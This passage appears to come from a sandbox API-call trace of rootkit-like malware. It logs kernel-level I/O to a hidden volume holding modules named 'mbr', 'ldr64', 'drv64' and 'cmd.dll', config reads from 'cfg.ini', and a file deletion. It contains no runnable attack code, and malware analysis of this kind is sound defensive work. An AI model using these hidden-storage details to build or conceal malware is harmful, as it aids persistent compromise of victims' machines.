FastMutex=0xfffffa80027d3898) [0120.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341b000 [0120.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.228] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.228] IdePortDispatch () returned 0x103 [0120.228] KeWaitForMutexObject () returned 0x0 [0120.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.228] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.228] IdePortDispatch () returned 0x103 [0120.228] KeWaitForMutexObject () returned 0x0 [0120.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.228] KeLeaveCriticalRegion () [0120.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.229] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.229] KeEnterCriticalRegion () [0120.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] KeLeaveCriticalRegion () [0120.229] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.229] KeEnterCriticalRegion () [0120.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.229] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] KeLeaveCriticalRegion () [0120.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.229] KeEnterCriticalRegion () [0120.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.229] KeLeaveCriticalRegion () [0120.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.229] ReleaseMutex (hMutex=0xf0) returned 1 [0120.229] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.229] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.229] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.229] KeEnterCriticalRegion () [0120.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.230] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.230] IdePortDispatch () returned 0x103 [0120.230] KeWaitForMutexObject () returned 0x0 [0120.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.230] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.230] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.230] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.230] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.230] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.230] KeLeaveCriticalRegion () [0120.230] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.230] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.230] KeEnterCriticalRegion () [0120.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.230] KeLeaveCriticalRegion () [0120.230] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.230] KeEnterCriticalRegion () [0120.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.230] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.230] IdePortDispatch () returned 0x103 [0120.230] KeWaitForMutexObject () returned 0x0 [0120.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.231] KeLeaveCriticalRegion () [0120.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.231] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.231] KeEnterCriticalRegion () [0120.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341c000 [0120.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.231] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.231] IdePortDispatch () returned 0x103 [0120.231] KeWaitForMutexObject () returned 0x0 [0120.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.231] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.231] IdePortDispatch () returned 0x103 [0120.231] KeWaitForMutexObject () returned 0x0 [0120.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.231] KeLeaveCriticalRegion () [0120.231] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.232] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.232] KeEnterCriticalRegion () [0120.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] KeLeaveCriticalRegion () [0120.232] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.232] KeEnterCriticalRegion () [0120.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.232] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] KeLeaveCriticalRegion () [0120.232] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.232] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.232] KeEnterCriticalRegion () [0120.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.232] KeLeaveCriticalRegion () [0120.232] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.232] ReleaseMutex (hMutex=0xf0) returned 1 [0120.232] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.232] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.232] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.233] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.233] KeEnterCriticalRegion () [0120.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.233] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.233] IdePortDispatch () returned 0x103 [0120.233] KeWaitForMutexObject () returned 0x0 [0120.233] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.233] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.233] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.233] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.233] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.233] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.233] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.233] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.233] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.233] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.233] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.233] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.233] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.233] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.233] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.233] KeLeaveCriticalRegion () [0120.233] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.233] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.233] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.233] KeEnterCriticalRegion () [0120.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.233] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.233] IdePortDispatch () returned 0x103 [0120.234] KeWaitForMutexObject () returned 0x0 [0120.234] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.234] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.234] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.234] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.234] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.234] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.234] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.234] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.234] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.234] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.234] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.234] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.234] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.234] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.234] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.234] KeLeaveCriticalRegion () [0120.234] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.234] ReleaseMutex (hMutex=0x100) returned 1 [0120.234] Sleep (dwMilliseconds=0x2bf20) [0120.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6addfe50, dwHighDateTime=0x1d24fa4)) [0120.240] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.240] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.240] KeEnterCriticalRegion () [0120.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.241] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.241] IdePortDispatch () returned 0x103 [0120.241] KeWaitForMutexObject () returned 0x0 [0120.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.241] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.241] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.241] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.241] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.241] KeLeaveCriticalRegion () [0120.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.241] KeEnterCriticalRegion () [0120.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.241] KeLeaveCriticalRegion () [0120.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.241] KeEnterCriticalRegion () [0120.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.241] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.241] IdePortDispatch () returned 0x103 [0120.241] KeWaitForMutexObject () returned 0x0 [0120.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.242] KeLeaveCriticalRegion () [0120.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.242] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.242] KeEnterCriticalRegion () [0120.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341f000 [0120.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.242] IdePortDispatch () returned 0x103 [0120.242] KeWaitForMutexObject () returned 0x0 [0120.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.242] IdePortDispatch () returned 0x103 [0120.242] KeWaitForMutexObject () returned 0x0 [0120.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.242] KeLeaveCriticalRegion () [0120.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.243] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.243] KeEnterCriticalRegion () [0120.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] KeLeaveCriticalRegion () [0120.243] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.243] KeEnterCriticalRegion () [0120.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] KeLeaveCriticalRegion () [0120.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.243] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.243] KeEnterCriticalRegion () [0120.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] KeLeaveCriticalRegion () [0120.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.243] ReleaseMutex (hMutex=0xf0) returned 1 [0120.243] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.243] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.243] KeEnterCriticalRegion () [0120.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.243] 